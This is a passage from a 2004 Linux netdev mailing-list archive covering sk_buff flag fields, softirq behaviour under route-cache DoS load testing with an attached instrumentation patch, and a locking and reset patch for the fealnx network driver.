Cantor.suse.de (Postfix) with ESMTP id D42603B94D1; Wed, 31 Mar 2004 19:50:28 +0200 (CEST) Date: Wed, 31 Mar 2004 19:50:20 +0200 From: Andi Kleen To: Ben Greear Cc: ak@muc.de, vnuorval@tcs.hut.fi, netdev@oss.sgi.com Subject: Re: [PATCH] Avoid gettimeofday when not needed Message-Id: <20040331195020.4fff9171.ak@suse.de> In-Reply-To: <406B001A.1030901@candelatech.com> References: <200403311201.i2VC13D19579@zero.aec.at> <20040331135449.GB62402@colin2.muc.de> <20040331151047.GA6033@colin2.muc.de> <406B001A.1030901@candelatech.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4387 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 622 Lines: 20 On Wed, 31 Mar 2004 09:30:02 -0800 Ben Greear wrote: > Andi Kleen wrote: > > On Wed, Mar 31, 2004 at 05:24:47PM +0300, Ville Nuorvala wrote: > > > >>There just doesn't seem to be any general flag field in sk_buff that we > >>might use at this moment. Should one be added, or should we just hide the > >>flag inside the cb field using the likes of inet_skb_parm and > >>inet6_skb_parm? > > > > > > There are no free bits indeed. I think ->cb is the best choice then. > > Why not add a 32-bit field to the skb to handle various flag needs > going forward? That is what ->cb already is -Andi From Robert.Olsson@data.slu.se Wed Mar 31 10:46:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 10:46:29 -0800 (PST) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VIkKKO015979 for ; Wed, 31 Mar 2004 10:46:20 -0800 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i2VIk9nC016309; Wed, 31 Mar 2004 20:46:09 +0200 Received: by robur.slu.se (Postfix, from userid 1000) id B9882903D5; Wed, 31 Mar 2004 20:46:09 +0200 (CEST) From: Robert Olsson MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="sc9I7wnJ8F" Content-Transfer-Encoding: 7bit Message-ID: <16491.4593.718724.277551@robur.slu.se> Date: Wed, 31 Mar 2004 20:46:09 +0200 To: dipankar@in.ibm.com Cc: Andrea Arcangeli , "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs In-Reply-To: <20040331171023.GA4543@in.ibm.com> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040331171023.GA4543@in.ibm.com> X-Mailer: VM 7.17 under Emacs 21.3.1 X-archive-position: 4388 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Content-Length: 7824 Lines: 144 --sc9I7wnJ8F Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit Dipankar Sarma writes: > And I am not. I am still on 2.6.0 and there seems to be no NAPI support > for the e100 there. Should I try 2.6.4 where e100 has NAPI support ? > > Anyway, even without softirqs on the back of hardirqs, there are > other ways of softirq overload as seen in Robert's setup. Well I see some hardirq's most from TX and timer interrups and HZ=1000 can can change the way softirq's are run a bit. I hacked do_softirq() sources so we can understand how things work a bit better. (Use fastroute stats from /proc/net/softnet_stat). ksoftird == softirq's sourced from ksofttirq irqexit == softirq's sourced from interrupt exit bh_enbl == softirq's sourced local_bh_enable Before run total droppped tsquz throttl bh_enbl ksoftird irqexit other 00000000 00000000 00000000 00000000 000000e8 0000017e 00030411 00000000 00000000 00000000 00000000 00000000 000000ae 00000277 00030349 00000000 After DoS (See description from previous mail) total droppped tsquz throttl bh_enbl ksoftird irqexit other 00164c55 00000000 000021de 00000000 000000fc 0000229f 0003443c 00000000 001695e7 00000000 0000224d 00000000 00000162 0000236f 000342f7 00000000 So the major part of softirq's are run from irqexit and therefor out of scheduler control. This even with RX polling (eth0, eth2) We still have some TX interrupts plus timer interrupts now at 1000Hz. Which probably reduces the number of softirq's that ksoftirqd runs. CPU0 CPU1 0: 297156 0 IO-APIC-edge timer 1: 431 0 IO-APIC-edge i8042 2: 0 0 XT-PIC cascade 8: 0 0 IO-APIC-edge rtc 14: 34527 0 IO-APIC-edge ide0 26: 131 0 IO-APIC-level eth0 27: 22910 0 IO-APIC-level eth1 28: 8 124 IO-APIC-level eth2 29: 9 23197 IO-APIC-level eth3 NMI: 0 0 LOC: 297060 297059 --sc9I7wnJ8F Content-Type: application/octet-stream Content-Disposition: attachment; filename="softirq_monitor.pat" Content-Transfer-Encoding: base64 LS0tIGtlcm5lbC9zb2Z0aXJxLmMub3JpZwkyMDA0LTAzLTExIDAzOjU1OjI0LjAwMDAwMDAwMCAr MDEwMAorKysga2VybmVsL3NvZnRpcnEuYwkyMDA0LTAzLTMxIDE4OjE1OjI2LjAwMDAwMDAwMCAr MDIwMApAQCAtNjksNyArNjksMTMgQEAKICAqLwogI2RlZmluZSBNQVhfU09GVElSUV9SRVNUQVJU IDEwCiAKLWFzbWxpbmthZ2Ugdm9pZCBkb19zb2Z0aXJxKHZvaWQpCisKKy8qIFVzZSB0aGUgZmFz dHJvdXRlIHN0YXRzLiAqLworCisjaW5jbHVkZSA8bGludXgvbmV0ZGV2aWNlLmg+CitERUNMQVJF X1BFUl9DUFUoc3RydWN0IG5ldGlmX3J4X3N0YXRzLCBuZXRkZXZfcnhfc3RhdCk7CisKK2FzbWxp bmthZ2Ugdm9pZCBkb19zb2Z0aXJxKGludCBmcm9tKQogewogCWludCBtYXhfcmVzdGFydCA9IE1B WF9TT0ZUSVJRX1JFU1RBUlQ7CiAJX191MzIgcGVuZGluZzsKQEAgLTg0LDkgKzkwLDQ0IEBACiAK IAlpZiAocGVuZGluZykgewogCQlzdHJ1Y3Qgc29mdGlycV9hY3Rpb24gKmg7CisJCXN0cnVjdCB0 YXNrX3N0cnVjdCAqdHNrID0gX19nZXRfY3B1X3Zhcihrc29mdGlycWQpOw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JCQkJc2NoZWR1bGUoKTsKIAkJCQllbHNlCi0JCQkJ CWRvX3NvZnRpcnEoKTsKKwkJCQkJZG9fc29mdGlycShTSVJRX0ZST01fUEtUR0VOKTsKIAkJCX0g d2hpbGUgKG5ldGlmX3F1ZXVlX3N0b3BwZWQob2RldikpOwogCQkJaWRsZSA9IGN5Y2xlcygpIC0g aWRsZV9zdGFydDsKIAkJCWluZm8tPmlkbGVfYWNjICs9IGlkbGU7Cg== --sc9I7wnJ8F Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit Cheers. --ro --sc9I7wnJ8F-- From greearb@candelatech.com Wed Mar 31 10:53:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 10:53:53 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VIrqKO016486 for ; Wed, 31 Mar 2004 10:53:52 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.10) with ESMTP id i2VIriPR032617; Wed, 31 Mar 2004 10:53:44 -0800 Message-ID: <406B13B7.6090403@candelatech.com> Date: Wed, 31 Mar 2004 10:53:43 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andi Kleen CC: ak@muc.de, vnuorval@tcs.hut.fi, netdev@oss.sgi.com Subject: Re: [PATCH] Avoid gettimeofday when not needed References: <200403311201.i2VC13D19579@zero.aec.at> <20040331135449.GB62402@colin2.muc.de> <20040331151047.GA6033@colin2.muc.de> <406B001A.1030901@candelatech.com> <20040331195020.4fff9171.ak@suse.de> In-Reply-To: <20040331195020.4fff9171.ak@suse.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4389 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 488 Lines: 21 Andi Kleen wrote: >>Why not add a 32-bit field to the skb to handle various flag needs >>going forward? > > > That is what ->cb already is From the comments, it appears each layer can write over these, and since it's just a block of bytes, it is difficult to understand what each bit/field is used for. It still seems to me that a bit-field with well defined flags is more useful. Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From gem@scream.fjortis.info Wed Mar 31 11:22:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 11:22:05 -0800 (PST) Received: from scream.fjortis.info (1-1-1-9a.ghn.gbg.bostream.se [82.182.69.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VJLwKO017925 for ; Wed, 31 Mar 2004 11:21:59 -0800 Received: from gem by scream.fjortis.info with local (Exim 4.30) id 1B8lK1-00089p-JD; Wed, 31 Mar 2004 21:24:21 +0200 Date: Wed, 31 Mar 2004 21:24:21 +0200 From: Andreas Henriksson To: Denis Vlasenko Cc: Jeff Garzik , Francois Romieu , Andreas Henriksson , netdev@oss.sgi.com Subject: Re: fealnx oopses (with [PATCH]) Message-ID: <20040331192421.GA30048@scream.fjortis.info> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <4068AC87.2030506@pobox.com> <200403300118.55631.vda@port.imtp.ilyichevsk.odessa.ua> <200403311839.33202.vda@port.imtp.ilyichevsk.odessa.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200403311839.33202.vda@port.imtp.ilyichevsk.odessa.ua> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 4390 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andreas@fjortis.info Precedence: bulk X-list: netdev Content-Length: 18766 Lines: 589 On Wed, Mar 31, 2004 at 06:39:33PM +0200, Denis Vlasenko wrote: > > Ok, here is what I have now. > > What we had before: > original behaviour: Andreas had tx tomeouts, I had fatal oops. I had tx-related kernel panic with vanilla driver on my p-166. > francois+jgarzik patch: Andreas happy, I had lockup (endless 'Too much work') > with spin_lock_irqsave in start_tx I haven't been able to trigger the panic on my p3-600 .. (Although, I don't know if it actually fixed the problem or if it's just harder to trigger on a faster machine.. but I've been moving ALOT of data so even if it's 10 or 100 times hard I should have triggered it by now..) so jgarzik's patch is enough to make me happy... no more panic but I still see this which is annoying when trying to do interactive stuff over the network: -- snip -- NETDEV WATCHDOG: eth1: transmit timed out eth1: Transmit timed out, status 00000000, resetting... NETDEV WATCHDOG: eth1: transmit timed out eth1: Transmit timed out, status 00000000, resetting... NETDEV WATCHDOG: eth1: transmit timed out eth1: Transmit timed out, status 00000000, resetting... -- snip -- > Now, with the attached patch, I *don't* lock up. I can ctrl-C > netcat, UDP flood stops and card is alive, tested with pinging. > > I modified 'Too much work in interrupt' code. > I added code which completely stops rx and tx and schedules > card reset a-la reset previously used in tx_timeout code path. > There is 1 second delay. > To me it doesn't seem better nor worse then before... so I guess if it helps you in any way, good. > > In testing, I saw this code triggering a number of times. > It works as intended. > > I also have seen tx timeout events. (I touched that code a bit, > factoring out reset code, but without changing logic). They did > not hang the box, either, but box was unable to do any tx. > tx timeouts just happened again and again. > Remote side decided that we are gone and stopped UDP flood, > starting ARP address resolution instead, but test box could > not answer even that. > > In this state I can ctrl-C local netcat and box recovers > after several seconds. Tx is working again, I can ping other > hosts, etc. > > I conclude that tx timeout logic does not handle situation > when *local* process generates and submits tons of packets > at enormous rate. > > Now, the patch itself. It is against 2.4.25. > Sorry, it contains some debugging stuff and some future work > (e.g. #defines). I decided to not remove it now to avoid > brown paper bugs. (I can remove and retest, but testing can > take another couple of hours...) > applies easily to 2.6 too, with some offset and fuzz and 1 reject that is really easy to fix manually. > > I can code tx timeout similarly to 'Too much work', but I > retained it 'as is' in hopes of your comments on both > code paths. > -- > vda > > --- fealnx.c.original Fri Nov 28 20:26:20 2003 > +++ fealnx.c Wed Mar 31 17:26:57 2004 > @@ -210,6 +210,26 @@ > BPREMRPSR = 0x5c, /* bypass & receive error mask and phy status */ > }; > > +//vda: TCRRCR values collected from code: W for writing, R for reading > +#define CR_W_ENH 0x02000000 /* enhanced mode */ > +#define CR_W_FD 0x00100000 /* full duplex */ > +#define CR_W_PS10 0x00080000 /* 10 mbit */ > +#define CR_W_TXEN 0x00040000 /* tx enable */ > +#define CR_W_PS1000 0x00010000 /* 1000 mbit */ > +#define CR_W_RXMASK 0x000000e0 > +#define CR_W_PROM 0x00000080 /* promiscuous mode */ > +#define CR_W_AB 0x00000040 /* accept broadcast */ > +#define CR_W_AM 0x00000020 /* accept mutlicast */ > +#define CR_W_ARP 0x00000008 /* receive runt pkt */ > +#define CR_W_ALP 0x00000004 /* receive long pkt */ > +#define CR_W_SEP 0x00000002 /* receive error pkt */ > +#define CR_W_RXEN 0x00000001 /* rx enable (unicast?) */ > + > +#define CR_R_TXSTOP 0x04000000 /* tx stopped */ > +#define CR_R_FD 0x00100000 /* full duplex detected */ > +#define CR_R_PS10 0x00080000 /* 10 mbit detected */ > +#define CR_R_RXSTOP 0x00008000 /* rx stopped */ > + > /* Bits in the interrupt status/enable registers. */ > /* The bits in the Intr Status/Enable registers, mostly interrupt sources. */ > enum intr_status_bits { > @@ -401,6 +421,12 @@ > /* Media monitoring timer. */ > struct timer_list timer; > > + /* Reset timer */ //vda: > + struct timer_list reset_timer; > + int reset_timer_armed; > + unsigned long crvalue_sv; > + unsigned long imrvalue_sv; > + > /* Frequently used values: keep some adjacent for cache effect. */ > int flags; > struct pci_dev *pci_dev; > @@ -436,6 +462,7 @@ > static void getlinktype(struct net_device *dev); > static void getlinkstatus(struct net_device *dev); > static void netdev_timer(unsigned long data); > +static void reset_timer(unsigned long data); //vda: > static void tx_timeout(struct net_device *dev); > static void init_ring(struct net_device *dev); > static int start_tx(struct sk_buff *skb, struct net_device *dev); > @@ -478,6 +505,19 @@ > } > > > +void stop_nic_rxtx(long ioaddr, long crvalue) //vda: > +{ > + int delay = 0x1000; > + writel(crvalue & (~0x40001), ioaddr + TCRRCR); > + > + /* wait for rx and tx stop */ > + while(delay--) { > + int t = readl(ioaddr + TCRRCR); > + if( (t & 0x04008000) == 0x04008000 ) break; > + } > +} > + > + > > static int __devinit fealnx_init_one(struct pci_dev *pdev, > const struct pci_device_id *ent) > @@ -666,7 +706,7 @@ > dev->hard_start_xmit = &start_tx; > dev->stop = &netdev_close; > dev->get_stats = &get_stats; > - dev->set_multicast_list = &set_rx_mode; > + dev->set_multicast_list = &set_rx_mode; //vda: hmm... set_rx_mode needs locking? TODO > dev->do_ioctl = &mii_ioctl; > dev->ethtool_ops = &netdev_ethtool_ops; > dev->tx_timeout = tx_timeout; > @@ -723,7 +763,8 @@ > > unsigned int m80x_read_tick(void) > /* function: Reads the Timer tick count register which decrements by 2 from */ > -/* 65536 to 0 every 1/36.414 of a second. Each 2 decrements of the *//* count represents 838 nsec's. */ > +/* 65536 to 0 every 1/36.414 of a second. Each 2 decrements of the */ > +/* count represents 838 nsec's. */ > /* input : none. */ > /* output : none. */ > { > @@ -985,6 +1026,11 @@ > /* timer handler */ > add_timer(&np->timer); > > + init_timer(&np->reset_timer); //vda: > + np->reset_timer.data = (unsigned long) dev; > + np->reset_timer.function = &reset_timer; > + np->reset_timer_armed = 0; > + > return 0; > } > > @@ -1134,15 +1180,17 @@ > struct sk_buff *skb; > > skb = dev_alloc_skb(np->rx_buf_sz); > - np->lack_rxbuf->skbuff = skb; > - > if (skb == NULL) > break; /* Better luck next round. */ > > + while (np->lack_rxbuf->skbuff) > + np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; > + np->lack_rxbuf->skbuff = skb; > + > skb->dev = dev; /* Mark as being used by this device. */ > np->lack_rxbuf->buffer = pci_map_single(np->pci_dev, skb->tail, > np->rx_buf_sz, PCI_DMA_FROMDEVICE); > - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; > + np->lack_rxbuf->status = RXOWN; > ++np->really_rx_count; > } > } > @@ -1156,19 +1204,25 @@ > int next_tick = 10 * HZ; > int old_crvalue = np->crvalue; > unsigned int old_linkok = np->linkok; > + unsigned long flags; > > if (debug) > printk(KERN_DEBUG "%s: Media selection timer tick, status %8.8x " > "config %8.8x.\n", dev->name, readl(ioaddr + ISR), > readl(ioaddr + TCRRCR)); > > + spin_lock_irqsave(&np->lock, flags); //vda: > + > if (np->flags == HAS_MII_XCVR) { > getlinkstatus(dev); > if ((old_linkok == 0) && (np->linkok == 1)) { /* we need to detect the media type again */ > getlinktype(dev); > if (np->crvalue != old_crvalue) { > - stop_nic_tx(ioaddr, np->crvalue); > - stop_nic_rx(ioaddr, np->crvalue & (~0x40000)); > + //vda: stop_nic_tx(ioaddr, np->crvalue); > + //stop_nic_rx(ioaddr, np->crvalue & (~0x40000)); > + /* stop rx,tx and start again, */ > + /* this switches us to new mode */ > + stop_nic_rxtx(ioaddr, np->crvalue); > writel(np->crvalue, ioaddr + TCRRCR); > } > } > @@ -1176,36 +1230,22 @@ > > allocate_rx_buffers(dev); > > + spin_unlock_irqrestore(&np->lock, flags); > + > np->timer.expires = RUN_AT(next_tick); > add_timer(&np->timer); > } > > - > -static void tx_timeout(struct net_device *dev) > +/* Reinit. Gross */ > +static void vda_reset_disable_rxtx(struct net_device *dev) //vda: > { > struct netdev_private *np = dev->priv; > long ioaddr = dev->base_addr; > int i; > > - printk(KERN_WARNING "%s: Transmit timed out, status %8.8x," > - " resetting...\n", dev->name, readl(ioaddr + ISR)); > - > - { > - > - printk(KERN_DEBUG " Rx ring %p: ", np->rx_ring); > - for (i = 0; i < RX_RING_SIZE; i++) > - printk(" %8.8x", (unsigned int) np->rx_ring[i].status); > - printk("\n" KERN_DEBUG " Tx ring %p: ", np->tx_ring); > - for (i = 0; i < TX_RING_SIZE; i++) > - printk(" %4.4x", np->tx_ring[i].status); > - printk("\n"); > - } > - > - /* Reinit. Gross */ > - > /* Reset the chip's Tx and Rx processes. */ > - stop_nic_tx(ioaddr, 0); > - reset_rx_descriptors(dev); > + stop_nic_rxtx(ioaddr, 0); > + //reset_rx_descriptors(dev); //moved down: contains stop_nic_rx(ioaddr, np->crvalue)! > > /* Disable interrupts by clearing the interrupt mask. */ > writel(0x0000, ioaddr + IMR); > @@ -1219,6 +1259,14 @@ > readl(ioaddr + BCR); > rmb(); > } > +} > + > +static void vda_enable_rxtx(struct net_device *dev) //vda: > +{ > + struct netdev_private *np = dev->priv; > + long ioaddr = dev->base_addr; > + > + reset_rx_descriptors(dev); // contains stop_nic_rx(ioaddr, np->crvalue) > > writel((np->cur_tx - np->tx_ring)*sizeof(struct fealnx_desc) + > np->tx_ring_dma, ioaddr + TXLBA); > @@ -1227,18 +1275,66 @@ > > writel(np->bcrvalue, ioaddr + BCR); > > - writel(0, dev->base_addr + RXPDR); > - set_rx_mode(dev); > + writel(0, ioaddr + RXPDR); // is order of these ok? > + set_rx_mode(dev); // changes np->crvalue, writes TCRRCR > + > /* Clear and Enable interrupts by setting the interrupt mask. */ > writel(FBE | TUNF | CNTOVF | RBU | TI | RI, ioaddr + ISR); > writel(np->imrvalue, ioaddr + IMR); > > - writel(0, dev->base_addr + TXPDR); > + writel(0, ioaddr + TXPDR); > +} > + > +static void reset_timer(unsigned long data) //vda: > +{ > + struct net_device *dev = (struct net_device *) data; > + struct netdev_private *np = dev->priv; > + unsigned long flags; > + > + printk(KERN_WARNING "%s: resetting tx and rx machinery\n", dev->name); > + > + spin_lock_irqsave(&np->lock, flags); > + np->crvalue = np->crvalue_sv; > + np->imrvalue = np->imrvalue_sv; > + > + vda_reset_disable_rxtx(dev); > + vda_enable_rxtx(dev); > + netif_start_queue(dev); // netif_tx_enable(dev) doesn't exist, right? > + > + np->reset_timer_armed = 0; > + > + spin_unlock_irqrestore(&np->lock, flags); > +} > + > + > +static void tx_timeout(struct net_device *dev) > +{ > + struct netdev_private *np = dev->priv; > + long ioaddr = dev->base_addr; > + unsigned long flags; > + int i; > + > + printk(KERN_WARNING "%s: Transmit timed out, status %8.8x," > + " resetting...\n", dev->name, readl(ioaddr + ISR)); > + > + { > + > + printk(KERN_DEBUG " Rx ring %p: ", np->rx_ring); > + for (i = 0; i < RX_RING_SIZE; i++) > + printk(" %8.8x", (unsigned int) np->rx_ring[i].status); > + printk("\n" KERN_DEBUG " Tx ring %p: ", np->tx_ring); > + for (i = 0; i < TX_RING_SIZE; i++) > + printk(" %4.4x", np->tx_ring[i].status); > + printk("\n"); > + } > + > + spin_lock_irqsave(&np->lock, flags); //vda: > + vda_reset_disable_rxtx(dev); > + vda_enable_rxtx(dev); > + spin_unlock_irqrestore(&np->lock, flags); > > dev->trans_start = jiffies; > np->stats.tx_errors++; > - > - return; > } > > > @@ -1251,7 +1347,7 @@ > /* initialize rx variables */ > np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); > np->cur_rx = &np->rx_ring[0]; > - np->lack_rxbuf = NULL; > + np->lack_rxbuf = np->rx_ring; > np->really_rx_count = 0; > > /* initial rx descriptors. */ > @@ -1303,14 +1399,15 @@ > /* for the last tx descriptor */ > np->tx_ring[i - 1].next_desc = np->tx_ring_dma; > np->tx_ring[i - 1].next_desc_logical = &np->tx_ring[0]; > - > - return; > } > > > static int start_tx(struct sk_buff *skb, struct net_device *dev) > { > struct netdev_private *np = dev->priv; > + unsigned long flags; > + > + spin_lock_irqsave(&np->lock, flags); > > np->cur_tx_copy->skbuff = skb; > > @@ -1340,7 +1437,7 @@ > np->cur_tx_copy->control |= (BPT << TBSShift); /* buffer size */ > > /* for the last descriptor */ > - next = (struct fealnx *) np->cur_tx_copy.next_desc_logical; > + next = np->cur_tx_copy.next_desc_logical; > next->skbuff = skb; > next->control = TXIC | TXLD | CRCEnable | PADEnable; > next->control |= (skb->len << PKTSShift); /* pkt size */ > @@ -1377,36 +1474,26 @@ > writel(0, dev->base_addr + TXPDR); > dev->trans_start = jiffies; > > + spin_unlock_irqrestore(&np->lock, flags); > return 0; > } > > - > -void free_one_rx_descriptor(struct netdev_private *np) > -{ > - if (np->really_rx_count == RX_RING_SIZE) > - np->cur_rx->status = RXOWN; > - else { > - np->lack_rxbuf->skbuff = np->cur_rx->skbuff; > - np->lack_rxbuf->buffer = np->cur_rx->buffer; > - np->lack_rxbuf->status = RXOWN; > - ++np->really_rx_count; > - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; > - } > - np->cur_rx = np->cur_rx->next_desc_logical; > -} > - > - > void reset_rx_descriptors(struct net_device *dev) > { > struct netdev_private *np = dev->priv; > + struct fealnx_desc *cur = np->cur_rx; > + int i; > > stop_nic_rx(dev->base_addr, np->crvalue); > > - while (!(np->cur_rx->status & RXOWN)) > - free_one_rx_descriptor(np); > - > allocate_rx_buffers(dev); > > + for (i = 0; i < RX_RING_SIZE; i++) { > + if (cur->skbuff) > + cur->status = RXOWN; > + cur = cur->next_desc_logical; > + } > + > writel(np->rx_ring_dma + (np->cur_rx - np->rx_ring), > dev->base_addr + RXLBA); > writel(np->crvalue, dev->base_addr + TCRRCR); > @@ -1423,6 +1510,8 @@ > unsigned int num_tx = 0; > int handled = 0; > > + spin_lock(&np->lock); > + > writel(0, dev->base_addr + IMR); > > ioaddr = dev->base_addr; > @@ -1548,6 +1637,23 @@ > if (--boguscnt < 0) { > printk(KERN_WARNING "%s: Too much work at interrupt, " > "status=0x%4.4x.\n", dev->name, intr_status); > + if(!np->reset_timer_armed) { //vda: > + printk(KERN_WARNING "scheduling card reset\n"); > + np->reset_timer.expires = RUN_AT(HZ/2); > + add_timer(&np->reset_timer); > + np->reset_timer_armed = 1; > + //taken from reset code: > + //stop_nic_tx(ioaddr, 0); //stop tx > + > + // without this, I've seen one lockup and one 'forever stuck tx' event > + stop_nic_rxtx(ioaddr, 0); //stop rx > + netif_stop_queue(dev); // or netif_tx_disable(dev);?? > + /* Prevent other codepaths from enabling tx,rx,intrs */ > + np->crvalue_sv = np->crvalue; > + np->crvalue &= ~(CR_W_TXEN | CR_W_RXEN); // or simply = 0? > + np->imrvalue_sv = np->imrvalue; > + np->imrvalue = 0; > + } > break; > } > } while (1); > @@ -1564,6 +1670,8 @@ > dev->name, readl(ioaddr + ISR)); > > writel(np->imrvalue, ioaddr + IMR); > +out_unlock: > + spin_unlock(&np->lock); > > return IRQ_RETVAL(handled); > } > @@ -1575,12 +1683,25 @@ > { > struct netdev_private *np = dev->priv; > > + //if( ! (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) ) { //vda: > + // printk(KERN_ERR "netdev_rx(): nothing to do?! (np->cur_rx->status & RXOWN) == 0x%04x, np->cur_rx->skbuff == %p\n" > + // ,(np->cur_rx->status & RXOWN) > + // ,np->cur_rx->skbuff > + // ); > + //} > + > + //if (np->really_rx_count == 0) { //vda: > + // printk(KERN_ERR "netdev_rx(): np->really_rx_count is 0 before while()\n"); > + //} > + > /* If EOP is set on the next entry, it's a new packet. Send it up. */ > - while (!(np->cur_rx->status & RXOWN)) { > + while (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) { > s32 rx_status = np->cur_rx->status; > > - if (np->really_rx_count == 0) > - break; > + //if (np->really_rx_count == 0) { > + // printk(KERN_ERR "netdev_rx(): np->really_rx_count reached 0\n"); //vda: > + // break; > + //} > > if (debug) > printk(KERN_DEBUG " netdev_rx() status was %8.8x.\n", rx_status); > @@ -1628,8 +1749,15 @@ > np->stats.rx_length_errors++; > > /* free all rx descriptors related this long pkt */ > - for (i = 0; i < desno; ++i) > - free_one_rx_descriptor(np); > + for (i = 0; i < desno; ++i) { > + if (!np->cur_rx->skbuff) { > + printk(KERN_DEBUG > + "%s: I'm scared\n", dev->name); > + break; > + } > + np->cur_rx->status = RXOWN; > + np->cur_rx = np->cur_rx->next_desc_logical; > + } > continue; > } else { /* something error, need to reset this chip */ > reset_rx_descriptors(dev); > @@ -1671,8 +1799,6 @@ > } else { > skb_put(skb = np->cur_rx->skbuff, pkt_len); > np->cur_rx->skbuff = NULL; > - if (np->really_rx_count == RX_RING_SIZE) > - np->lack_rxbuf = np->cur_rx; > --np->really_rx_count; > } > skb->protocol = eth_type_trans(skb, dev); > @@ -1682,22 +1808,7 @@ > np->stats.rx_bytes += pkt_len; > } ------------------------------------- this is the part that I got a reject for on 2.6: pci_map_single's arguments where slit on one row for each argument. > > - if (np->cur_rx->skbuff == NULL) { > - struct sk_buff *skb; > - > - skb = dev_alloc_skb(np->rx_buf_sz); > - > - if (skb != NULL) { > - skb->dev = dev; /* Mark as being used by this device. */ > - np->cur_rx->buffer = pci_map_single(np->pci_dev, skb->tail, > - np->rx_buf_sz, PCI_DMA_FROMDEVICE); > - np->cur_rx->skbuff = skb; > - ++np->really_rx_count; > - } > - } > - > - if (np->cur_rx->skbuff != NULL) > - free_one_rx_descriptor(np); > + np->cur_rx = np->cur_rx->next_desc_logical; > } /* end of while loop */ ------------------------------ > > /* allocate skb for rx buffers */ > @@ -1752,8 +1863,10 @@ > rx_mode = AB | AM; > } > > - stop_nic_tx(ioaddr, np->crvalue); > - stop_nic_rx(ioaddr, np->crvalue & (~0x40000)); > + //vda: > + //stop_nic_tx(ioaddr, np->crvalue); > + //stop_nic_rx(ioaddr, np->crvalue & (~0x40000)); > + stop_nic_rxtx(ioaddr, np->crvalue); > > writel(mc_filter[0], ioaddr + MAR0); > writel(mc_filter[1], ioaddr + MAR1); From shemminger@osdl.org Wed Mar 31 11:24:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 11:24:28 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VJOQKO018285 for ; Wed, 31 Mar 2004 11:24:26 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2VJO7209324; Wed, 31 Mar 2004 11:24:07 -0800 Date: Wed, 31 Mar 2004 11:24:07 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] make lock/release_sock fast calls Message-Id: <20040331112407.66309027@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4391 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev 